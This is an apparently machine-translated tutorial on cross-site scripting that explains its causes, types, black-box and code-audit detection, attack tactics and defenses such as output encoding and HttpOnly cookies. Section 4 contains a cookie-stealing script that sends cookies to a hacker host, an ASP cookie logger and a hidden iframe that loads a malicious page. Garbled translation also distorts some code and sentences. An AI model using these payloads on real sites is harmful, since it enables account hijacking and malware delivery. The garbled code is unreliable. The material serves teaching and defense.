Cross-site scripting attacks

Source: Internet
Author: User
Tags form post script tag

1 Preface

In recent years, with the tide of Web2.0, more and more people begin to pay attention to the Web security, the new Web attack technique emerges unceasingly, the security situation that the Web application faces is increasingly grim. Cross-site scripting attacks (XSS) is one of the most common web attack technologies, and is OWASP open Web Application Security projects (Owasp,open) because of the ease of cross-site scripting vulnerabilities and low utilization costs Project) listed as the current number one web security threat.
This article will from the Cross-site Scripting vulnerability generation principle, attack method, detection methods and defense means four aspects, a comprehensive introduction of cross-site scripting vulnerabilities in all aspects, for developers, security testers and students interested in web security to provide a cross-site Scripting Vulnerability Technical Reference manual.

2 Cross-Site Scripting vulnerability Introduction

2.1 What is a cross-site scripting vulnerability
Cross-site Scripting Vulnerability (crossing site Scripting, often simple writing XSS) is a problem that Web applications have when outputting data to a Web page, which could allow an attacker to display constructed malicious data on a page's vulnerability. A cross-site scripting vulnerability is also called an HTML injection Vulnerability (HTML injection) because a cross-site scripting attack writes a malicious script or HTML code to the content of the Web page.
Unlike SQL injection against the database server, the cross-site scripting vulnerability is a client-initiated attack, meaning that malicious code injected with a cross-site scripting vulnerability is running in a browser on the user's computer.
2.2 Cross-site Scripting vulnerability
The malicious code injected by a cross-site scripting attack runs in the browser, so the harm to the user is huge-and requires a specific scenario: a cross-site scripting vulnerability exists in an unattended station that is virtually worthless, but is deadly for sites with a large number of users. The most typical scenario for a
is that a hacker can exploit a cross-site scripting vulnerability to steal a user's cookie and gain the user's identity at that site. As far as I know, there are underground hackers on the internet to sell unlisted Gmail, Yahoo Mail, and Hotmail cross-site scripting vulnerabilities for profit.
Because malicious code is injected into the browser to execute, a cross-site scripting vulnerability has a more serious security threat that is exploited by hackers to create fraudulent pages for phishing attacks. This attack method directly exploits the vulnerability of the target website, which is more deceptive than making a fake website directly.
In addition, control of the user's browser, hackers can also obtain user computer information, intercept user keyboard input, spying on the user's local area network information and even to other sites get flood attack. The internet already has such a hacker tool that uses cross-site scripting vulnerabilities to control the user's browser.
Of course, although a cross-site scripting attack is done in the client browser, it can eventually attack the server. I have been in the security testing process to take advantage of a blog program cross-site scripting vulnerability to the site administrator identity and ultimately control the Web server.
2.3 Cross-site Scripting vulnerability Generation
How does a cross-site scripting vulnerability occur?
Most web vulnerabilities originate from the input that does not handle the user well, and cross-site scripting is no exception.
Take a look at the following PHP code:

<? PHP Echo "Welcome,". $_get [' name '];? >


To explain a little bit, this PHP code means "Welcome to you," and the value of the name parameter in the URL in the page output string, such as accessing the file in a browser: Http://localhost/test23.php?name=lakehu, the page will appear "welcome you , Lakehu "words. Where Lakehu is passed in by the parameter name in the URL, the value of name is the user's input.

We know that the browser's presentation of the Web page is done by parsing the HTML code, if the parameters we passed in contain HTML code? Yes, the browser parses it instead of showing it intact-this is the opposite of what the Web application was designed for.
This allows you to access just the PHP page by using the parameters: Http://localhost/test23.php?name=lake<s>hu</s>, you will see HTML tags explained by the browser:

Further, if a script <script>[code]</script> is passed in, then the script will execute. The alert function that will execute JavaScript with such a URL pops up a dialog box: Http://localhost/test.php?name=lake<script>alert (123456) </script >

From the simple example above we already know that the Web application does not handle the user input when the incoming data format will cause the script to execute in the browser, which is the source of the cross-site scripting vulnerability.
2.4 Classification of cross-site scripting vulnerabilities
2.4.1 Non-persistent XSS
Non-persistent XSS (non-persistent), also known as Reflection XSS (Reflect XSS), refers to a cross-site scripting vulnerability in which browsers submit malicious data in parameters every time.
The XSS vulnerability shown in the previous section belongs to this type, because each time we need to submit malicious data to the parameter name for cross-site scripting attacks.
In general, any incoming malicious data through a URL is non-persistent XSS. Of course, there are also examples of XSS via form post:
<? Php
echo "Welcome,". $_post[' name '];
?>
The Web application gets the parameter name has been changed from get to post, to trigger this XSS vulnerability is a little more complicated, we need to write a Web page:

<formAction= "http://localhost/test.php"Method= "POST"><inputname= "Name"value= "<script>alert (123456) </script>"type= "hidden" /><inputname= "ss"type= "Submit"value= "XSS submission test" /></form>

Click on the "XSS Submit Test" button, you will see the browser pop up a lovely dialog box?

2.4.2 Persistent XSS
Persistent XSS (persistent) is also known as Storage XSS (Stored XSS), in contrast to non-persistent XSS, which refers to the submission of malicious data to storage (such as databases, text files, etc.). The output of the Web application is a kind of cross-site scripting vulnerability that reads out the malicious data output to the page from memory.
Look at an example.
A BBS program does not process malicious code in the body of the post to be stored directly in the database:

Then read the post when the program read the data from the database, the results of the data contained in the malicious code in the browser execution (here only to show the popup dialog box):

The vulnerability is due to the fact that the program translates the UBB code [Img]javascript:alert (' XSS ') [/IMG] into HTML code:
IE6 parses the above HTML code and executes the JavaScript code in the SRC attribute of the IMG tag, leading to the occurrence of XSS.
Persistent XSS more than the Web mailbox, BBS, community, etc. read data from the database normal page (such as BBS of a post may contain malicious code), because the browser does not need to submit attack parameters, so its harm is often greater than non-persistent XSS.
2.5 scenario where a cross-site scripting vulnerability occurs
Depending on the output of the data, cross-site scripting vulnerabilities generally occur in the following 4 places, understanding the vulnerability of the scene, it is positive for us to understand and fix the vulnerability.
2.5.1 Output in HTML page
The PHP code in the previous 2.3 section is an example of outputting data to an HTML page. This is relatively simple, that is, the parameter values are displayed directly on the page, the main parameter is passed in with "<" and ">" symbol will be parsed by the browser.
2.5.2 Output in HTML properties
Look at this piece of code:

<? PHP Echo "<a href=\" ". $_get [' name ']. " \ ">Enter</a>";? >

The meaning of this PHP code is to export the resulting name parameter to a tag in an HTML tag, assuming that the value of name is test, then you will get a page like this:
<a href= "Test" >Enter</a>
Then we arbitrarily attached to name "Test<script>alert (123456) </script>" will not cause XSS attacks, because the script will be considered by the browser is the value of href, It's going to take a little bit of brain action: Http://localhost/test2521.php?name=test ">hi</a><script>alert (123456) </script ><!--
Get a page like this:
<a href= "Test" >hi</a><script>alert (123456) </script><!-">Enter</a>
Please note that the Blue font is the PHP program output, and the red font is the parameter we submitted. Haha, we submitted the ">" and "</a>" closed the original a tag, and then followed the JavaScript code, after the later part of the A tag was <--commented out.
This is what happens when the incoming data is exported to a property, and the key is that the data we submit can close the attribute tag. This example is a double quotation mark, in fact, the property can also be used in single quotation marks or even without quotation marks (if the value of the property does not have spaces in the words can not need quotation marks), the reason is the same, as long as they can be closed.
2.5.3 output in JavaScript code
JavaScript and HTML are tightly coupled, so programmers sometimes export parameters to JavaScript code:

 <? php  echo  "<script>"  echo  "var yourname = '". $_get  [' name ']. "';"  echo  "</script>" ; ? 

Analyzing the PHP Code output page, we can easily construct the XSS attack test url:http://localhost/test2531.php?name=a '; alert (123456);//
We actually use single quotes to close the variable assignment of the JavaScript code and then execute our alert function (because PHP5 automatically escapes the incoming single quotes by default, this is just for demonstration purposes, so we don't think single quotes are escaped here.) That is, assume that PHP magic_quote_gpc is off).
The resulting return page is this:
<script>
var yourname = ' a '; alert (123456);//';
</script> and then you see the demo dialog that shows 123456 for the script to be executed.
Similarly, if you use double quotes to make variable assignments, you need to pass double quotes to break down the original JavaScript code.
2.5.4 based on Dom
The DOM is an abbreviation for the Document Object model. According to the Web-based DOM specification (http://www.w3.org/DOM/), Dom is an interface that is independent of the browser, platform, and language, allowing you to access other standard components of the page.
Simply understood, we put Dom as a page of JavaScript output, and DOM-based cross-site scripting vulnerabilities are vulnerabilities that appear in JavaScript code. Note that the previous 3 outputs are a vulnerability in the Web application (CGI) code.
Yes, you are right, there may be an XSS vulnerability with JavaScript static HTML pages.
The following is a piece of code that has a DOM type cross-site Scripting vulnerability:

<script>document.write (window.location.search); </script>

In JS, window.location.search refers to the content after the URL, document.write is to output the content to the page. As a direct output to the page, a cross-site scripting vulnerability. Okay, come on. Attack Url:http://localhost/test2541.php?<script>alert (123456) </script>

But to view the source code of the Web page, the source code has not changed:

This is the DOM, which changes the structure of the page in the browser's parsing. This feature detects the DOM's cross-site scripting vulnerability as a bit of a hassle, because it does not identify vulnerabilities through page source code, which poses a challenge to automated vulnerability detection.

3 Cross-Site Scripting vulnerability detection technology
3.1 Black Box test
Black box testing refers to the detection of Web applications by various technical means without knowing the source code, and this is a hacker's perspective to find the problem.
3.1.1 Test principle
The simple principle of testing a cross-site scripting vulnerability is that we try to submit data that might be problematic and then analyze the return page.
Typically, you modify the parameter value to a flag string, and then the search page contains the string. If so, the description page will output the parameters. Next is the analysis of the return page construction attack parameters, the previous 2.5 mentioned 4 scenarios, according to different scenarios have different attack parameters.
Taking the code in section 2.3 as an example, to test the URL, we will first commit http://localhost/test23.php?name=XSSTest and then search the returned page for the character "Xsstest". Indicates that the value of the name parameter is output directly to the page. Then we analyze the page and find that the value of the name parameter is output directly to the page, so then submit a string containing HTML tags:http://localhost/test23.php?name=<b>xss</b> "<b>XSS</b>" is still found on the return page, and "<b>XSS</b>" in the page has been parsed by the browser, so you can tell the URL has a cross-site scripting vulnerability.

For the testing of Dom cross-site scripting vulnerabilities, it is not possible to search the page source for the incoming flag string, which is slightly more complex and may require reading JavaScript code, observing the contents of the page, and seeing if the page is behaving like a JavaScript code exception. The common code for the problem is eval, document.write, Document.writeln, Window.exescript, the innerHTML attribute of the tag, and the SRC attribute of the label.
3.1.2 Common Test Cases
Because cross-site scripting vulnerabilities are performed in a browser, and each browser interprets HTML tags and javascript differently, the attack code is actually different depending on the browser.
For example, the following HTML under IE6 will execute the JavaScript popup dialog box, but in IE7 and Firefox will not be executed:

And there are many variants of the above test case, and here are a few:
Ript:alert (123456) "/>
Enter split


TAB split

src=& #106;& #97;& #118;& #97;& #115;& #99;& #114;& #105;& #112;& #116;
& #58;& #97;& #108;& #101;& #114;& #116;& #40;& #39;123456& #39;& #41;>
Is it a bit dizzy to have so many use cases and variants facing XSS vulnerabilities? Oh, fortunately, there is a foreigner named Rsnake in accordance with the browser classification and deformation induction of an XSS test manual (XSS Cheat Sheet), you can go to his website to find it: http://ha.ckers.org/xss.html

, XSS Cheat sheet almost sums up all forms of XSS use and supported browsers, which is the best information for XSS research.
3.1.3 Test Automation-using the Web vulnerability scanner
When we are skilled, the test is the physical life, and the number of URLs, the manual is not busy, so we have to automate the testing work.
This time can use the Web vulnerability scanner to achieve cross-site scripting vulnerability detection, free software has proxystrike, Paros, WebScarab, etc., commercial scanners have AppScan, webinspect, etc. These are more automated web vulnerability testing tools, interested students can Google a download to try.
Of course, scanners are just tools for efficiency, and they are not a complete substitute for manual testing because scanners are subject to rules and techniques that can be incorrectly reported or even omitted. such as BBS post this interactive very strong local scanner is difficult to test it-manual testing is essential.
3.2 White Box test
White-Box testing is reading code to find loopholes, this test solution for internal and open source projects. This code-based detection scheme is also called Code Audit.
3.2.1 Test principle
To put it simply, it is to define a number of functions (typically output functions) that may lead to cross-site scripting vulnerabilities, and then find out whether the parameters of these functions are passed externally and are not handled securely.
For example, PHP, is to check the Echo, print function parameters are from outside and do not cross-site processing directly to display the page, for the ASP, is Response.Write and the like output function.
For example, this PHP code is problematic:

<? PHP Echo "Welcome,". $_get [' name '];? >

At this point, the Echo function is positioned first, and then the value of its output is derived from the external ($_get[' name ']) and is not handled securely.
The same is true of other languages.
3.2.2 Test Automation-Using code auditing tools
or using tools to improve efficiency, there are different code auditing tools for different languages. For example, a Microsoft-provided check. NET code Cross-Site Scripting Vulnerability Tool XSS Detect Beta Code analysis tool (http://www.microsoft.com/downloads/details.aspx? familyid=19a9e348-bdb9-45b3-a1b7-44ccdcb7cfbe&displaylang=en) is very good.
The main option here is to choose the Code auditing tool that supports the Web application development language that you want to test.

4 Cross-site scripting attack technology
4.1 How to launch an attack
Two different types of XSS vulnerabilities are used differently.
4.1.1 Non-persistent XSS attack
Non-persistent XSS vulnerability in fact most of the attack data is included in the URL, similar to this: Http://www.vicitim.com/vul.asp?hi=[code].
Requires the user's browser access to this URL malicious code to execute, the attacker will generally send the URL to users to access through the browser. But the URL with strange code is really a bit strange, in order to hide, the attacker can send a seemingly problematic URL, and then jump through that page to a malicious URL, or even let a domain name to malicious URL, the domain name sent to the user.
4.1.2 Persistent XSS attack
Persistent XSS attacks are a bit simpler, as long as the first time you commit the attack code to the server.
For example, when I post in a forum, the Forum does not deal with the incoming HTML, then I can send a post containing "<script>[code]</script>" posts. Hehe, and then wait to see the post of the person to execute a malicious script.
The persistent XSS vulnerability is to store malicious scripts in a database that has no warning when accessing a page, so it is slightly more harmful than non-persistent XSS.
4.2 Common attack tactics
4.2.1 Stealing cookies
A cookie is a Web program that identifies a different user's identity, and if it gets someone's cookie, the hacker can log on to the site as he is, so the first goal of a cross-site scripting attack is to get it. Think about it, if the Web mailbox has an XSS vulnerability, when you look at a message, your identity has been received by others, hackers will be free to access your mailbox.
In JavaScript you can use Document.cookie to get cookies from your current browser, so we typically execute code like this to get a cookie and send it to a place where it's recorded:
<script>
document.write ("</script> This code is an ASP program that outputs an IMG tag and accesses a hacker's Web server. Note that this is where the current cookie is sent as a parameter (to avoid special characters, the escape function is used to URL-encode the cookie). Let's look at the results of the grab bag:

Then the getcookie.asp on the www.hacker.com need to record the incoming parameters (that is, the cookie of the victim user), the code is this:

<%if Request ("C") <> ""= CreateObject ("Scripting.FileSystemObject") Set outfile= Fs. OpenTextFile (Server.MapPath ("A.txt"), 8,True) outfile. WriteLine Request ("C") outfile.  = Nothingendif%>

Once a cookie is sent, the ASP program writes the cookie to the A.txt file in the current directory.
With cookies, hackers can find a browser with a custom cookie to access the Web as a user.
4.2.2 Stealing cookie Upgrade-keep session
The hacker in the previous section can record cookies, yes, the storage cookie is fine, but if it is a session cookie (that is, the sessions), after a period of time if the user does not access the page session will be invalidated.
In order to solve the problem of time-sensitive, so there is a live record cookie and constantly refresh the page to keep the session program--sessionkeeper:

The principle of this tool is that the user cookie will automatically simulate the browser submission request to constantly refresh the page to maintain the presence of the session.
4.2.3 Page Hijacking--hanging horse and fishing attack
Of course, the reason black hat hackers are black hats is economic power, so cross-site scripting attacks are also used by them to generate economic benefits for themselves.
Hanging horses and fishing is the two best make money.
The so-called hanging horse is to add some malicious code on the Web page, the code is the use of browser and ActiveX control vulnerabilities to attack. If the vulnerabilities exist on your machine, you will be on the Trojan when you visit this page. In the horse-hanging industry, the more people in your Trojan, the higher your income.
In an XSS attack code, you need to use an IFRAME or script or even pop-up window to introduce a malicious code page/file containing a Web Trojan. A similar code (Http://hacker is a page that contains malicious code):
<iframe width= "0" height= "0" src= "Http://hacker" ></iframe>
Fishing attack (Phishing Attack) I think we have seen, is often in QQ, QQ games, space and other places to see the winning information. Phishing exploits are more subtle and deceptive.
Because JavaScript scripting is powerful, we can use it to change the entire page content, so we can create fake pages that take advantage of the real target domain name:

In fact, it's just an XSS. Introducing JavaScript code modifies page elements:

The original page:
4.2.4 The story of the XSS worm
We call the virus that infects itself to replicate and spread itself as a worm. The shock wave, the concussion virus, which attacked countless machines and caused great damage, was a worm. These traditional worm viruses rely on remote buffer overflows to propagate, and in the Web2.0 era, worms can use cross-site scripting vulnerabilities to propagate.
Baidu's space has been spread by XSS worms in the 07 Christmas.
At that time, Baidu Space custom CSS Local filter is not strict resulting in a persistent XSS vulnerability. On the night of December 25, 2007, hackers wrote JavaScript malicious code that exploited this vulnerability for XSS attacks and self-propagating. The space that infects the worm will have malicious code in space and modify the CSS-embedding XSS attack code of other Baidu space users accessing the space, and will also send messages to friends to trick friends into accessing poisoned space. As of 26th 7 o'clock in the evening Baidu space to find the cause and fix the vulnerability, there are more than 8,000 user space infected with the worm code.

Fortunately, Baidu space in time to detect worms and repair the vulnerability, with the increase in time, the space will be infected with geometric growth. Thus, once the business outbreak of XSS Worm will bring a huge loss to the business.

5 Defense against cross-site scripting attacks
5.1 Writing Secure Code
In the second chapter we know that the cross-site scripting vulnerability is due to the fact that the program does not handle the output data and causes the malicious data to be parsed by the browser. So the best way to deal with XSS vulnerabilities is to write secure code.
5.1.1 Secure processing of data
In the second chapter, we mention several scenarios where cross-site scripting vulnerabilities occur, so we just have to deal with the output when the data is output.
Direct output of the data on the page requires the "<", ">" HTML Encoding:
< coded to &lt;
> Coded to &gt;
The output of data in HTML attributes does not allow the property value to be closed. Attributes in double quotation marks (") require double quotation marks in the encoded attribute value:
"Coded for &quot;
An attribute in single quotation marks (') requires a single quotation mark in an encoded attribute value:
' Coding for & #39;
Code that is exported to the page JavaScript should also be aware of the encoding. This depends on the specific situation, such as the PHP code mentioned in 2.5.3:
<? Php
echo "<script>";
echo "var yourname = '". $_get[' name ']. "';";
echo "</script>";
?>
You actually need to close the JavaScript code in single quotation marks ('), and you need to escape the single quotes in JavaScript syntax:
' escaped as \ '
This makes it impossible to close the code by passing in single quotes. However, you can still use the incoming "</script>" to close the entire script tag (,</script> closed tags in javascript syntax always takes precedence):
<script>
var yourname = ' A</script><script>alert ()//';
</script> so we also encode the incoming "<" and ">".
The XSS vulnerability of the IE6 under the IMG tag is also mentioned earlier:

It is necessary to restrict the SRC attribute of the IMG tag to always start with http://or https://(white list matching).
OK, we conclude that the security coding for the defense of cross-site scripting vulnerabilities is primarily the coding output that breaks the special characters of the original code (HTML, JavaScript, and even WML) rules in the page, and the whitelist check for certain attributes of some tags.
5.1.2 Raise the threshold of attack
One of the main goals of a cross-site scripting attack is to steal cookies, so we can use the browser's security features to protect against cookie theft. Note that this section only reduces the risk of XSS attacks and increases the threshold of attacks in the presence of XSS attacks, and does not completely prevent XSS attacks-eliminating the root cause of XSS attacks or secure coding.
In general, companies have a lot of sites, and separate businesses can set their own cookies under subdomains, without requiring other subdomains to use your cookies. For example, show.qq.com cookies do not need to be used in other domains. In this way, we can reduce the exposure of cookies by setting the scope of the cookie. Set the domain limit in the Set-cookie field of the HTTP response header:
set-cookie:a=123; Domain=show.qq.com
So "a=123" only under the show.qq.com to access.
Similarly, even if we can restrict the existence of a cookie in a directory of a subdomain, the cookie cannot be accessed in another directory:
set-cookie:a=123; Path=/test
"A=123" can only be accessed by the test directory under the current Web site. Even if an XSS vulnerability is present in the Test2 directory, the attacker cannot get the cookie "a=123".
In addition, when setting a cookie, you can attach a HttpOnly property, so that when the browser initiates a request to the Web server, it will bring a cookie field, but the cookie cannot be accessed in the script. This avoids XSS attacks using JavaScript's document.cookie to obtain cookies:
set-cookie:a=123; HttpOnly;
The above fields can be set in the program.
5.2 In the client defense
If the Web application is secure, there is no XSS attack. But this is, after all, too demanding for developers, and for the moment most websites are not able to avoid XSS vulnerabilities, so sometimes we need to be defensive on the client side (especially if the security requirements are particularly high).
Completely prohibit javascript? It's a unworthy way. Not because there are viruses and hackers on the internet, we are not on the Internet is not.
In Firefox, there is a plug-in called NoScript is designed to prevent XSS attacks; IE's luck is not so good, but you can set the security level to high, and use whitelist only allows to run scripts, Flash and Java applets at trusted sites.

6 Security Center Technical support
Ad Time ^_^
6.1 Tcodescan
Tcodescan is a Security Center developed code audit Tool, currently supports the C, C + +, PHP code check. Detailed Description: http://soc.itil.com/tcodescan/index.html
6.2 CGI Scanner
The CGI scanner is a black-box test tool developed by Security Center for web vulnerabilities. It detects common web vulnerabilities including cross-site scripting vulnerabilities, SQL injection vulnerabilities, jump vulnerabilities, info vulnerabilities.
At the same time, according to the company's "pre-launch safety inspection Code", the company all CGI business before the launch through the CGI scanner check.
Address: Http://soc.itil.com/inscan
6.3 CGI Security API
The CGI security API is a set of web vulnerability solutions that Security Center provides to Web applications, primarily for common vulnerabilities such as SQL injection vulnerabilities and cross-site scripting vulnerabilities. Currently supported languages include C, C + +, Java, JavaScript.
For details, see: http://soc.itil.com/sec_api/index.html

Cross-site scripting attacks

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.